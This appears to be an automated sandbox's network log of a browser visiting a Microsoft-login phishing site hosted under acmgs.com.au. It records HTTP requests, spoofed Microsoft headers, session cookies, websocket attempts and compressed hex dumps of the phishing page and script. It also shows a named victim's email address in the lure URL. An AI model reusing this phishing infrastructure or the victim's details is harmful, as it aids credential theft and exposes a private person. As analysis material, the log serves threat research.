2024-12-20 19:31:23 UTC	736	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 20 Dec 2024 19:31:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 39ab6885-6b5f-45dc-b4f7-9ebeb83af400 x-ms-ests-server: 2.1.19683.3 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-20 19:31:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49732	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:22 UTC	1021	OUT	GET /?777=mwebb%40windsorhomestx.com&sso_reload=true HTTP/1.1 Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-12-20 19:31:35 UTC	777	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:35 GMT Content-Type: text/html; charset=utf-8 Content-Length: 63554 Connection: close cache-control: no-store, no-cache pragma: no-cache vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 8f798b1d-78db-4efb-8587-cbf22e2ed102 x-ms-ests-server: 2.1.19683.3 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2024-12-20 19:31:35 UTC	15607	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ec bd 5b 77 ea c8 92 30 f8 5e bf 82 cd 54 1b 68 03 e6 7e b1 37 c7 8d 01 db 18 63 30 60 e3 6d 1f 8f 3f 21 25 20 23 24 2c 09 30 de db bc cd 2f 99 87 59 fd 30 6f f3 0f ce 1f 9b 88 c8 d4 05 6c 76 55 f7 a9 ea 5e fd ad aa 75 ce b6 94 ca 4b 64 64 dc 23 24 be 7e a9 b6 2a bd 6f ed 5a 60 6c 4f b5 bf fd f2 15 ff 04 64 4d b2 ac 52 30 18 50 54 b3 14 d4 6c 33 18 d0 24 7d 54 0a 32 3d f8 b7 5f 02 5f c7 4c 52 e0 6f e0 ab ad da 1a c3 ab 40 57 1d e9 01 55 0f d8 46 60 65 cc cd 80 24 cb c6 5c b7 b1 d3 81 db eb eb 94 d9 52 40 36 74 9b e9 76 29 68 b3 57 fb 00 17 3c 0a c8 63 c9 b4 98 5d 9a db c3 58 21 08 c0 d8 b3 18 7b 99 ab 8b 52 b0 c2 bb c7 7a ab 19 0b 1e 7c 32 4d bd 56 62 ca 88 6d 8e ba 8b dd 94 63 15 63 3a 93 6c 75 a0 7d 3e 70 a9 2a f6 b8 a4 b0 Data Ascii: [w0^Th~7c0`m?!% #$,0/Y0olvU^uKdd#$~oZ`lOdMR0PTl3$}T2=__LRo@WUF`e$\R@6tv)hW<c]X!{Rz\|2MVbmcc:lu}>p
2024-12-20 19:31:35 UTC	14460	IN	Data Raw: 84 67 aa e8 13 9e 85 4c 91 ce 98 6e 8a a9 01 89 4c ff f1 f7 c5 5d 52 ce c3 dd 04 cf e7 e1 f1 a1 9c 41 9a cb 80 38 85 c6 ae 8f 42 44 96 19 4e 1d c6 20 2e a4 28 60 17 36 28 ae 0d b8 4e 8b eb 31 5c 67 c4 f5 39 5c e7 c4 75 03 ae f3 e2 ba 09 d7 59 ba 06 4c 9e 7f b0 81 5a 89 68 2b 19 6d a5 a2 ad b4 d8 7a d6 65 9e 72 16 11 3b 20 6a 71 af 85 b8 6a 97 5a 72 98 88 42 be 74 48 e6 cb 97 56 7b 6f af d5 7e a0 ce c9 61 11 24 af 77 f8 34 2c 13 6d 81 07 91 2b c1 49 b4 00 39 ad 3c d2 76 2b 07 57 05 d0 25 e1 16 a0 a8 55 24 15 84 40 c1 8d 5c 42 05 d2 5a 94 5a 69 80 bf 1f 6d b5 80 fa 8f 5b 0b 02 bc 10 39 5c dc 42 73 43 34 e0 71 1f 3a da e9 a8 55 f8 5b 4b 3e 6a c9 0e b1 35 7f fc 68 c9 48 6c b0 ca de 5e b8 95 2d b5 8a e1 56 a6 d4 ca 3f b4 e4 47 58 2a 8a 80 c0 01 70 c3 e2 3a d2 Data Ascii: gLnL]RA8BDN .(`6(N1\g9\uYLZh+mzer; jqjZrBtHV{o~a$w4,m+I9<v+W%U$@\BZZim[9\BsC4q:U[K>j5hHl^-V?GX*p:
2024-12-20 19:31:35 UTC	16384	IN	Data Raw: 48 cf e1 b9 dd b4 a7 0d ce 9a 47 17 60 22 d8 c0 95 4e 34 7f bb ad 3e 2c 49 7b 04 23 01 9c 2a 5f db 60 7b 09 06 0a 3e 72 5e 91 fe dd fd d3 f0 12 88 bd 86 91 f7 78 90 b1 75 75 ec 2f a7 63 b3 17 2c 1a 5b 48 d5 9c 9f 84 46 6f 47 c4 80 90 05 f4 6f 78 48 cc 26 f1 6c c6 fe 11 12 18 d5 9e 51 fc 04 0c 1c d9 cc 1a 06 89 6a 18 0a 71 6b 45 b4 de 22 ca 71 cd a8 02 c6 19 a1 b2 b5 7c fb ed be e4 99 d6 ed f6 bc 4f 63 e5 d3 d8 77 07 32 e8 e2 33 8e cf 28 45 7e ba 12 14 96 2a 26 5d 89 5f 53 82 e7 5b 69 54 ac 05 d7 1c e7 c0 39 9b 4b 3f 25 39 09 c3 38 40 b7 07 3d 92 28 ee 0e 09 35 64 36 b7 82 95 8d 4f 78 ad 07 4c 8f d5 c1 1f c8 64 d1 a1 64 13 36 c9 4b 28 ae eb 70 b5 8d 74 cd de 66 91 2a df 6b d1 b2 d7 1d 0c e8 b9 55 d6 40 90 31 10 a9 4c a4 fa 2a 34 02 f4 88 c2 23 97 f4 c8 60 Data Ascii: HG`"N4>,I{#_`{>r^xuu/c,[HFoGoxH&lQjqkE"q\|Ocw23(E~&]_S[iT9K?%98@=(5d6OxLdd6K(ptfkU@1L4#`
2024-12-20 19:31:35 UTC	16384	IN	Data Raw: 47 1e a5 ae 88 6c ee 4d 9c a7 ef 72 ce d3 fb 14 ee db ab 57 f3 7b 28 17 96 e4 c6 79 f5 2a 30 4d 04 2b 1e 2a b4 8f ac 75 e0 1a bf f4 31 26 2c fb b3 e7 b1 3f ba e7 97 66 64 53 a1 c5 87 3e db c5 20 72 6a 2f 55 65 5a 74 2f 7a e7 bd 48 c2 66 e7 16 5b 1c f1 90 b9 ef 36 69 e9 52 88 e9 94 08 cd 7f 4d c9 bd e6 c0 7b 4d 86 f1 81 a7 e1 7a 35 5a 0d 4d fa 28 3d 98 0b 09 78 f5 fb 03 96 e0 af ee f4 11 79 d5 73 3a 00 4d b7 f4 8f 6a b0 3a dd 5b e5 ab 68 75 ce 2e 5d 1b 26 77 e8 b4 1c bb f1 7f 31 5e 18 79 73 ea 0b 25 35 0e 26 de d8 f2 21 d5 2b 99 a1 ce 1d aa 69 39 3d 2a 6b a9 87 66 99 d4 9e 59 25 82 61 ee ec 62 98 66 52 4d 5b 83 d3 21 2f 70 93 b9 4e 4b 30 87 38 22 28 b1 9d cb 4a 87 30 77 be 55 21 53 a9 08 3b b6 2a 4c 8f 5e ea ba 36 67 3b bc 70 a9 34 c8 7a 5b 28 7e df d2 ff Data Ascii: GlMrW{(y0M+u1&,?fdS> rj/UeZt/zHf[6iRM{Mz5ZM(=xys:Mj:[hu.]&w1^ys%5&!+i9=kfY%abfRM[!/pNK08"(J0wU!S;L^6g;p4z[(~
2024-12-20 19:31:35 UTC	719	IN	Data Raw: 1b 5c 4d be 87 15 55 ff 5a 4b 35 b8 8c bd 94 4b a9 16 71 d8 e5 72 aa 49 ac 9e 58 ae c8 c2 82 2e 6f 5a 57 19 6e 34 41 67 ea d1 47 e1 9f 86 29 ea 28 dd 42 a7 0b c6 7d 01 fe 62 a1 da a9 03 71 53 69 d1 d6 ed fa 61 a1 64 62 4d c5 3b 0f be c2 42 4f 85 c0 3a 2c 94 97 e0 96 79 95 76 a7 38 03 a2 a0 69 00 5b a0 8f 67 1c 2d 86 09 71 c9 7c 35 40 59 93 44 90 02 6d 54 03 9c 89 c1 2c 44 69 4d 32 02 6d 3d b4 54 65 a5 08 c6 86 35 68 e0 ef ca 02 7c e0 4e 3f ca 79 9d e6 fe d6 38 8a 02 7f 2d 07 7b 7a 6e 8e c2 47 e8 f9 9a 71 4f a6 6a fa 51 e2 6a 8b 6c 34 9a 6e c6 49 6c 39 e4 13 d3 ef d8 0e a6 d9 e1 ce a0 2f 0c a0 e5 e0 c7 b8 af a0 48 9b 8b 3c 23 7d 0b 9d b7 41 09 fd f5 cb dd e0 d3 f7 48 7a 3d c5 47 e9 2e 28 e3 a6 bf 31 05 73 b6 ff 49 45 97 04 2c a5 96 69 4a 2e 28 d8 ae 4c 7d Data Ascii: \MUZK5KqrIX.oZWn4AgG)(B}bqSiadbM;BO:,yv8i[g-q\|5@YDmT,DiM2m=Te5h\|N?y8-{znGqOjQjl4nIl9/H<#}AHz=G.(1sIE,iJ.(L}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49733	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:22 UTC	838	OUT	GET /favicon.ico HTTP/1.1 Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:23 UTC	736	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 20 Dec 2024 19:31:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 93536d39-0618-46f2-a07a-6da399bc1501 x-ms-ests-server: 2.1.19683.3 - FRC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-20 19:31:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49735	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:22 UTC	540	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:23 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:23 GMT Content-Type: application/x-javascript Content-Length: 49924 Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 02 Oct 2024 20:05:23 GMT etag: 0x8DCE31D8CF87EF9 x-ms-request-id: cd64ede3-801e-003b-3881-50b95f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193123Z-16fbf75468ckt25ghC1FRAs1q80000000a3000000000utca x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-20 19:31:23 UTC	13654	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6d 5b e3 38 d2 30 fa fd fe 15 c1 bb 0f 1d 4f 4c c8 0b d0 e0 b4 3b 77 1a d2 dd cc 00 61 08 4c cf 2e b0 5c 4e ac 80 a7 83 9d b5 1d 68 06 72 7e fb a9 17 c9 96 1d 87 ee d9 3d d7 f9 f2 cc 0b b1 a5 92 2c 95 aa 4a 55 a5 92 b4 f9 d3 da ff 54 7e aa 6c fc f8 3f 95 e1 79 ef ec bc 32 f8 58 39 ff 7c 78 76 50 39 85 b7 7f 54 4e 06 e7 87 fb fd 1f af 07 3f 8a ff 9f df f9 71 65 e2 4f 45 05 7e 47 6e 2c bc 4a 18 54 c2 a8 e2 07 e3 30 9a 85 91 9b 88 b8 72 0f 7f 23 df 9d 56 26 51 78 5f 49 ee 44 65 16 85 7f 88 71 12 57 a6 7e 9c 40 a1 91 98 86 8f 95 2a 54 17 79 95 53 37 4a 9e 2a 87 a7 66 1d ea 17 50 9b 7f eb 07 50 7a 1c ce 9e e0 f9 2e a9 04 61 e2 8f 45 c5 0d 3c aa 6d 0a 2f 41 2c 2a f3 c0 13 51 e5 f1 ce 1f df 55 8e fd 71 14 c6 e1 24 a9 44 62 2c Data Ascii: m[80OL;waL.\Nhr~=,JUT~l?y2X9\|xvP9TN?qeOE~Gn,JT0r#V&Qx_IDeqW~@TyS7JfPPz.aE<m/A,*QUq$Db,
2024-12-20 19:31:24 UTC	16384	IN	Data Raw: 75 b1 47 70 1e dc 5e cc 4a 6b d1 f2 bf db 16 79 33 e2 f7 1a c3 60 af d5 86 c8 0d 98 64 7f 00 28 25 5b 25 7d 73 af 52 a9 4a 4b 1f cc f1 10 03 d2 c0 38 ba d7 78 3d 7f 35 d6 2e 02 90 a3 e3 3b 66 cc 1f 00 2a af 29 0a 1f 7c 0f 89 6b 3e f5 50 ad 66 19 55 5e 61 39 2c d7 db fa e2 3e 81 19 ff 2a 34 99 f9 7f 01 18 a6 e2 1f a9 f1 87 6a 2a fd ec 49 98 c6 5e c8 fb 94 ca 9b b7 04 57 68 59 49 3d 7f a9 fc 17 5c 02 db 67 ad 4a d0 b4 f9 6a 36 52 dc 38 8c 70 f9 0d 97 cc 0c fd 0d 74 30 37 b9 43 e0 34 d5 36 96 92 32 a8 94 de 32 a8 34 29 83 1a 4c bd 2c 1f 5e a4 e8 c5 75 d8 4c e1 5a 4a ca ca ef f3 67 3f cc 33 2d 4d 9d c7 6f 7c 1f 26 ab 87 f1 81 81 d8 9c 83 13 e9 d3 19 52 b8 5e d3 6b 50 29 b7 aa c8 63 23 ff 2e 95 26 98 33 b3 41 83 ae 2d a5 ad a0 a8 e5 91 fc 21 b0 ec ab e9 da 51 Data Ascii: uGp^Jky3`d(%[%}sRJK8x=5.;f)\|k>PfU^a9,>4j*I^WhYI=\gJj6R8pt07C46224)L,^uLZJg?3-Mo\|&R^kP)c#.&3A-!Q
2024-12-20 19:31:24 UTC	16384	IN	Data Raw: a5 74 58 ea 5c a5 b0 fd a3 76 00 30 a1 66 0e 48 50 84 0b c9 55 b3 e0 ef 33 be f7 f7 19 67 1b a9 ed 70 48 0b bb b9 88 ea c6 97 6e dd 59 1b 4b 92 bc 07 4e ba 9b 9b b9 0f b5 ec 9d 81 b0 62 a2 cc f5 b4 66 47 f6 50 c5 d5 ad 7d 2c 73 1e ff a3 53 e4 42 40 52 5b e0 67 5e f2 c5 e5 b1 18 ae 55 3c e1 f5 32 4c 37 9c ac 21 e1 88 09 ea 44 a2 70 e5 38 2d 99 bf 8a 72 61 73 b9 c9 67 03 4e 9e 6a 73 25 d3 c4 f5 c2 82 b3 e7 5e 44 c9 50 da bf fe bb a5 4b 2f 49 c2 83 21 87 82 82 1e 6d 26 67 18 95 21 97 af 82 c1 a8 4a f7 82 2d f6 fe 19 9c fc 87 ca 71 58 40 b1 91 55 cf bf b1 9c 33 cb 15 20 95 67 2d 48 39 45 b6 f7 fc e2 88 1f 1e 7b ae e4 f8 b6 77 be 25 f8 a7 08 e1 37 e1 f9 2e 42 91 9f 11 af 80 e8 38 1d 5d 0b 50 63 f5 7d 77 15 e1 fa 40 fc 15 fc a1 e6 ac e2 db da b3 8a b9 41 b5 ec Data Ascii: tX\v0fHPU3gpHnYKNbfGP},sSB@R[g^U<2L7!Dp8-rasgNjs%^DPK/I!m&g!J-qX@U3 g-H9E{w%7.B8]Pc}w@A
2024-12-20 19:31:24 UTC	3502	IN	Data Raw: 1d 80 71 56 88 1b 74 b5 06 96 e9 39 06 d5 f5 98 0a 12 73 dc a2 41 ad 56 d2 b2 fa 6e 6f 4f b6 95 34 0b 5a b1 bc e1 f8 9b 95 4c 6d 65 67 37 a5 f6 aa 04 1e 0a e7 2f 07 2f 28 33 2d 51 d2 2c fa 3e fd 96 68 b5 a3 86 6b 24 dc c6 68 77 77 f4 aa 18 69 cb 9c 00 9e 0b 1d 75 34 8c 7d ad d0 c1 6a 59 13 4e 48 75 ed ed ed a3 32 b5 4c 46 4a 25 59 74 d0 e9 e5 a0 94 f2 0f 50 9e 29 3b 1d 90 76 21 51 a3 84 ba af 3f 46 0f f7 f6 58 96 a4 35 64 97 e3 be 97 aa 34 d5 f5 9e d9 0a c0 d6 f0 93 91 1e 13 69 c6 46 0d 41 74 cd 2a cb cc bf 50 0c 7c ec 27 e9 6c 6d f8 79 c7 a5 65 30 92 4f 33 8b 27 3f c7 8e 37 a2 07 ad 81 16 16 d0 be e3 53 e1 f9 f9 3b 2c c4 10 38 37 d5 73 5a b2 4b f8 89 1b f1 a4 4d b4 78 8a a9 7d cd 61 ca 8d 54 8c 4e c6 88 92 25 af 93 70 e5 03 80 06 bf 86 16 91 12 16 ed 03 Data Ascii: qVt9sAVnoO4ZLmeg7//(3-Q,>hk$hwwiu4}jYNHu2LFJ%YtP);v!Q?FX5d4iFAt*P\|'lmye0O3'?7S;,87sZKMx}aTN%p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49736	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:25 UTC	475	OUT	OPTIONS /api/report?catId=GW+estsfd+SEC HTTP/1.1 Host: 85089a4f-e455dbd6.acmgs.com.au Connection: keep-alive Origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 19:31:26 UTC	336	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding access-control-allow-headers: content-type access-control-allow-credentials: false access-control-allow-methods: , GET, OPTIONS, POST access-control-allow-origin:
2024-12-20 19:31:26 UTC	12	IN	Data Raw: 37 0d 0a 4f 50 54 49 4f 4e 53 0d 0a Data Ascii: 7OPTIONS
2024-12-20 19:31:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49737	159.89.96.140	443

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:27 UTC	790	OUT	GET /e455dbd6308045dea743f49e92cf3388/ HTTP/1.1 Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1 Sec-WebSocket-Key: zFTz/7692/wtMEh4gvlD8w== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-12-20 19:31:28 UTC	736	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 20 Dec 2024 19:31:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 1b8e4abe-8426-482e-9a63-e1fa19b23700 x-ms-ests-server: 2.1.19683.6 - FRC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-20 19:31:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49738	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:27 UTC	366	OUT	POST /api/report?catId=GW+estsfd+SEC HTTP/1.1 Host: 85089a4f-e455dbd6.acmgs.com.au Connection: keep-alive Content-Length: 554 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 19:31:27 UTC	554	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 32 34 31 30 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 30 6e 6c 69 6e 65 61 63 74 69 76 61 74 69 6f 6e 73 2d 30 6e 6c 69 6e 65 61 63 74 69 76 61 74 69 6f 6e 73 2d 30 6e 6c 69 6e 65 61 63 74 69 76 61 74 69 6f 6e 73 2e 61 63 6d 67 73 2e 63 6f 6d 2e 61 75 2f 3f 37 37 37 3d 6d 77 65 62 62 25 34 30 77 69 6e 64 73 6f 72 68 6f 6d 65 73 74 78 2e 63 6f 6d 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 Data Ascii: [{"age":0,"body":{"elapsed_time":2410,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/?777=mwebb%40windsorhomestx.com","sampling_fraction":1.0,"server_ip":"1
2024-12-20 19:31:31 UTC	376	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:30 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding request-context: appId=cid-v1:43ccb73c-0dfb-456b-9d4c-ddf7f5584002 access-control-allow-credentials: false access-control-allow-methods: , GET, OPTIONS, POST access-control-allow-origin:
2024-12-20 19:31:31 UTC	59	IN	Data Raw: 33 35 0d 0a 4e 45 4c 20 41 67 67 72 65 67 61 74 6f 72 20 68 61 73 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 70 72 6f 63 65 73 73 65 64 20 74 68 65 20 72 65 71 75 65 73 74 0d 0a Data Ascii: 35NEL Aggregator has successfully processed the request
2024-12-20 19:31:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49740	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:33 UTC	790	OUT	GET /e455dbd6308045dea743f49e92cf3388/ HTTP/1.1 Host: 0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1 Sec-WebSocket-Key: 7oAxvZ+Lve5XQu+IjqDuXQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-12-20 19:31:34 UTC	736	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 20 Dec 2024 19:31:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 3f11e5d2-edaa-4f56-b71b-296046841a01 x-ms-ests-server: 2.1.19683.3 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://85089a4f-e455dbd6.acmgs.com.au/api/report?catId=GW+estsfd+SEC"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-20 19:31:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49743	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
